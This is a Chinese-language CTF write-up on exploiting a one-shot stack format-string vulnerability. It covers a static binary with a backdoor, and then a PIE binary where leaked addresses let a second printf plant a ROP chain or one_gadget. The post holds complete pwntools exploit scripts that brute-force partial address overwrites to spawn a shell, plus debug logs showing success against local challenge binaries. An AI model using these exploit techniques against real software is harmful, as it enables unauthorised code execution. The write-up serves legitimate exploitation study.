0x00

上次仅仅有栈地址的低两字节,一次非栈上格式化字符串利用的比较极限的题打完,现在又碰到一个啥都不给的栈上格串题,但好在静态链接,有后门函数,分析一下
参考博客 https://bbs.kanxue.com/thread-281920.htm

0x01 只有一次机会的栈上fmtstr

题目 ida 看一眼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v9; // [rsp+68h] [rbp-8h]

v9 = __readfsqword(0x28u);
init_0(argc, argv, envp);
puts("one printf");
read(0, buf, 0x60uLL);
printf((unsigned int)buf, (unsigned int)buf, v3, v4, v5, v6, buf[0]);
return 0;
}

栈上 fmtstr 漏洞,但只有一次,此题有后门函数

1
2
3
4
__int64 back_door()
{
return system("/bin/sh");
}

这里是静态链接
我们查看一下 printf 栈帧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> stack 30
00:0000│ rsp 0x7fffffffda68 —▸ 0x400c2a (main+84) ◂— mov eax, 0
01:0008│ rdi rsi 0x7fffffffda70 ◂— 'aaaaaaaa\n'
02:0010│-068 0x7fffffffda78 ◂— 0xa /* '\n' */
03:0018│-060 0x7fffffffda80 ◂— 1
04:0020│-058 0x7fffffffda88 —▸ 0x7fffffffdc08 —▸ 0x7fffffffdf09 ◂— '/home/r3t2/ctf/temp/fmtstr2/pwn_patched'
05:0028│-050 0x7fffffffda90 —▸ 0x7fffffffdc18 —▸ 0x7fffffffdf31 ◂— 'SHELL=/bin/bash'
06:0030│-048 0x7fffffffda98 ◂— 2
07:0038│-040 0x7fffffffdaa0 —▸ 0x6b7140 (__preinit_array_start) —▸ 0x400b30 (frame_dummy) ◂— mov eax, __register_frame_info
08:0040│-038 0x7fffffffdaa8 —▸ 0x40199c (__libc_csu_init+124) ◂— add rbx, 1
09:0048│-030 0x7fffffffdab0 —▸ 0x7fffffffdc08 —▸ 0x7fffffffdf09 ◂— '/home/r3t2/ctf/temp/fmtstr2/pwn_patched'
0a:0050│-028 0x7fffffffdab8 —▸ 0x400400 (_init) ◂— sub rsp, 8
0b:0058│-020 0x7fffffffdac0 —▸ 0x401920 (__libc_csu_init) ◂— push r15
0c:0060│-018 0x7fffffffdac8 —▸ 0x4019c0 (__libc_csu_fini) ◂— push rbp
0d:0068│-010 0x7fffffffdad0 ◂— 0
0e:0070│-008 0x7fffffffdad8 ◂— 0x1f0cdfd354979e00
0f:0078│ rbp 0x7fffffffdae0 —▸ 0x401920 (__libc_csu_init) ◂— push r15
10:0080│+008 0x7fffffffdae8 —▸ 0x4011c9 (__libc_start_main+777) ◂— mov edi, eax
11:0088│+010 0x7fffffffdaf0 ◂— 0
12:0090│+018 0x7fffffffdaf8 ◂— 0x100000000
13:0098│+020 0x7fffffffdb00 —▸ 0x7fffffffdc08 —▸ 0x7fffffffdf09 ◂— '/home/r3t2/ctf/temp/fmtstr2/pwn_patched'
14:00a0│+028 0x7fffffffdb08 —▸ 0x400bd6 (main) ◂— push rbp
15:00a8│+030 0x7fffffffdb10 ◂— 0
16:00b0│+038 0x7fffffffdb18 ◂— 0x4400000019
17:00b8│+040 0x7fffffffdb20 ◂— 0
18:00c0│+048 0x7fffffffdb28 ◂— 0x100000040 /* '@' */
19:00c8│+050 0x7fffffffdb30 ◂— 0
... ↓ 3 skipped
1d:00e8│+070 0x7fffffffdb50 —▸ 0x400400 (_init) ◂— sub rsp, 8

有后门函数,如果我们想改返回地址,就需要栈地址,然而我们只有一次机会(熟悉的感觉)
这时候注意到,栈上我们输入可以达到的地方,存在着一个栈地址

1
2
3
4
5
6
7
8
9
01:0008│ rdi rsi 0x7fffffffda70 ◂— 'aaaaaaaa\n'
02:0010│-068 0x7fffffffda78 ◂— 0xa /* '\n' */
03:0018│-060 0x7fffffffda80 ◂— 1
04:0020│-058 0x7fffffffda88 —▸ 0x7fffffffdc08 —▸ 0x7fffffffdf09 ◂— '/home/r3t2/ctf/temp/fmtstr2/pwn_patched'
05:0028│-050 0x7fffffffda90 —▸ 0x7fffffffdc18 —▸ 0x7fffffffdf31 ◂— 'SHELL=/bin/bash'
06:0030│-048 0x7fffffffda98 ◂— 2
07:0038│-040 0x7fffffffdaa0 —▸ 0x6b7140 (__preinit_array_start) —▸ 0x400b30 (frame_dummy) ◂— mov eax, __register_frame_info
08:0040│-038 0x7fffffffdaa8 —▸ 0x40199c (__libc_csu_init+124) ◂— add rbx, 1
09:0048│-030 0x7fffffffdab0 —▸ 0x7fffffffdc08 —▸ 0x7fffffffdf09 ◂— '/home/r3t2/ctf/temp/fmtstr2/pwn_patched'

0x7fffffffdab0 处,我们输入起始于 0x7fffffffda70,相差0x40,而我们可以输入0x60,也就是说,我们可以覆盖到这个栈地址,因为我们不知道栈地址,所以只好覆盖低字节来——爆破
这里存放的栈地址是0x7fffffffdc08,而main的返回地址

1
2
0f:0078│ rbp     0x7fffffffdae0 —▸ 0x401920 (__libc_csu_init) ◂— push r15
10:0080│+008 0x7fffffffdae8 —▸ 0x4011c9 (__libc_start_main+777) ◂— mov edi, eax

位于0x7fffffffdae8,有12bits的差异,我们需要爆破两字节,修改返回地址为后门函数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b printf
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)




backdoor = 0x400bc2
call_read = 0x400c03
puts_str = 0x400bf7
ret_addr = 0x400c2a
# 14$-stack_addr

def bomb():
io.recvuntil(b'one printf')
payload = '%{}c'.format(0xbc2).encode() + b'%14$hn' # 尝试覆盖返回地址为后门函数
payload = payload.ljust(0x40, b'\x00') + b'\x18\xdb' # 覆盖低两字节,理论上这两字节随便填,只需要0x8字节对齐
io.send(payload)

while True: # 爆破
try:
io = start()
bomb()
io.sendline(b'whoami')
io.recvuntil(b'r3t2')
break
except:
io.close()
continue

io.interactive()

爆破成功后效果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[DEBUG] Received 0xb bytes:
b'one printf\n'
[DEBUG] Sent 0x42 bytes:
00000000 25 33 30 31 30 63 25 31 34 24 68 6e 00 00 00 00 │%301│0c%1│4$hn│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000040 08 aa │··│
00000042
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0xbc2 bytes:
00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000bc0 20 10 │ ·│
00000bc2
[DEBUG] Received 0x5 bytes:
b'r3t2\n'
[*] Switching to interactive mode

$

0x02 更加极限的情况

如果不是静态链接,没有后门函数,其实也区别不大
我们设想一种情况,got不可写,开启PIE,无后门函数,还是只有一次栈上格串机会,怎么办呢?
其实和上面思路类似,尽管elf_baselibc_base,栈地址全部不知道,但是我们有:

  • 程序地址的低字节
  • 输入位于栈上

和上面类似的思路,如果在输入可以达到的地方能找到一个栈地址,我们就可以爆破其低一字节或者两字节,覆盖为返回地址的栈上地址,然后修改返回地址的低字节,回到printf之前,先泄露了elf_baselibc_base以及栈地址,那么就可以利用我们创造的第二次格串利用机会来getshell
多说无益,我们上手实操

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFLEN 0x60

// 为了演示ROP而加入,而不是说一定需要这样的gadget才能完成攻击
__attribute__((naked, noinline, used, visibility("default")))
void gadget(void) {
__asm__ __volatile__(
"pop %r10\n\t"
"pop %r11\n\t"
"pop %r12\n\t"
"ret\n\t"
);
}

int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int dofunc(){
char buf[BUFLEN];
puts("input");
read(0, buf, BUFLEN);
printf(buf);
_exit(0);
return 0;
}
int main(){
init_func();
dofunc();
return 0;
}
// gcc pwn.c -o pwn
// glibc2.35

为了方便演示ROP,加入了pop r10 ; pop r11 ; pop r12 ; ret,如果使用one_gadget则不需要
这次我们要修改printf的返回地址,第一次爆破成功泄露栈地址,elf_base以及libc_base,后续修改printf返回地址为one_gadget,又或者是在栈上布置ROP链皆可
ROP的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b printf
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)

# 23$ --> __libc_start_call_main+128 21$ --> main+28 20$ --> stack_addr

def bomb():
payload = b"%20$p%21$p%23$pa"
payload += '%{}c'.format(0x5b - 0x2b).encode() + b'%15$hhn'
payload = payload.ljust(0x48, b'\x00') + b'\x68'
io.recvuntil(b'input')
io.send(payload)
global elf_base
global libc_base
global stack_addr
io.recvuntil(b'0x')
stack_addr = int(io.recv(12), 16)
io.recvuntil(b'0x')
elf_base = int(io.recv(12), 16) - 28 - elf.sym['main']
io.recvuntil(b'0x')
libc_base = int(io.recv(12), 16) + 0xb0 - 128 - libc.sym['__libc_start_main']

while True:
try:
io = start()
bomb()
io.recvuntil(b'input')
break
except:
io.close()
continue

log.info("stack_addr --> "+hex(stack_addr))
log.info("elf_base --> "+hex(elf_base))
log.info("libc_base --> "+hex(libc_base))

pop = elf_base + 0x11cd # pop r10 ; pop r11 ; pop r12 ; ret
pop_rdi_ret = libc_base + 0x2a3e5
ret = pop_rdi_ret + 1
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
printf_ret = stack_addr - 0x88

payload = '%{}c'.format((elf_base & 0xffff) + 0x11cd).encode() + b'%8$hn'
payload = payload.ljust(0x10, b'a')
payload += p64(printf_ret)
payload += p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)

io.send(payload)

io.interactive()

效果

1
2
3
4
5
6
7
8
9
10
11
12
                                                               $                                                                               [DEBUG] Received 0x1dc bytes:
00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
000001d0 20 70 61 61 61 61 68 b3 c4 cd fd 7f │ paa│aah·│····│
000001dc
paaaah\xb3\xc4\xcd\xfd\x7f$ w wh who whoa whoam whoami whoami
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0x5 bytes:
b'r3t2\n'
r3t2
$

one_gadget的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b printf
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)

# 23$ --> __libc_start_call_main+128 21$ --> main+28 20$ --> stack_addr

def bomb():
payload = b"%20$p%21$p%23$pa"
payload += '%{}c'.format(0x5b - 0x2b).encode() + b'%15$hhn'
payload = payload.ljust(0x48, b'\x00') + b'\x68'
io.recvuntil(b'input')
io.send(payload)
global elf_base
global libc_base
global stack_addr
io.recvuntil(b'0x')
stack_addr = int(io.recv(12), 16)
io.recvuntil(b'0x')
elf_base = int(io.recv(12), 16) - 28 - elf.sym['main']
io.recvuntil(b'0x')
libc_base = int(io.recv(12), 16) + 0xb0 - 128 - libc.sym['__libc_start_main']

while True:
try:
io = start()
bomb()
io.recvuntil(b'input')
break
except:
io.close()
continue

log.info("stack_addr --> "+hex(stack_addr))
log.info("elf_base --> "+hex(elf_base))
log.info("libc_base --> "+hex(libc_base))

# 0xebc81 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL || r10 is a valid argv
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL || r10 is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp

# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL || rsi is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp

# 0xebce2 execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp

# 0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x48 is writable
# r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

# 0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x48 is writable
# rax == NULL || {rax, r12, NULL} is a valid argv
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

# 0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

one_gadget = libc_base + 0xebc85
printf_ret = stack_addr - 0x88

var1 = one_gadget & 0xffff
var2 = ((one_gadget >> 16) & 0xffff) - var1 + 0x10000
var3 = ((one_gadget >> 32) & 0xffff) - var1 - var2 + 0x20000
var4 = ((one_gadget >> 48) & 0xffff) - var1 - var2 - var3 + 0x30000

payload = '%{}c'.format(var1).encode() + b'%13$hn'
payload += '%{}c'.format(var2).encode() + b'%14$hn'
payload += '%{}c'.format(var3).encode() + b'%15$hn'
payload += '%{}c'.format(var4).encode() + b'%16$hn'
payload = payload.ljust(0x38, b'a') + p64(printf_ret) + \
p64(printf_ret + 2) + p64(printf_ret + 4) + p64(printf_ret + 6)

io.send(payload)

io.interactive()

效果

1
2
3
4
5
6
7
8
9
10
11
12
13
                                                               $                                                                               [DEBUG] Received 0x3a bytes:
00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 05 │ │ │ │ ·│
00000030 61 61 61 61 68 ae 7a 70 fe 7f │aaaa│h·zp│··│
0000003a
\x05aaaah\xaezp\xfe\x7f$ whoami
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0x5 bytes:
b'r3t2\n'
r3t2
$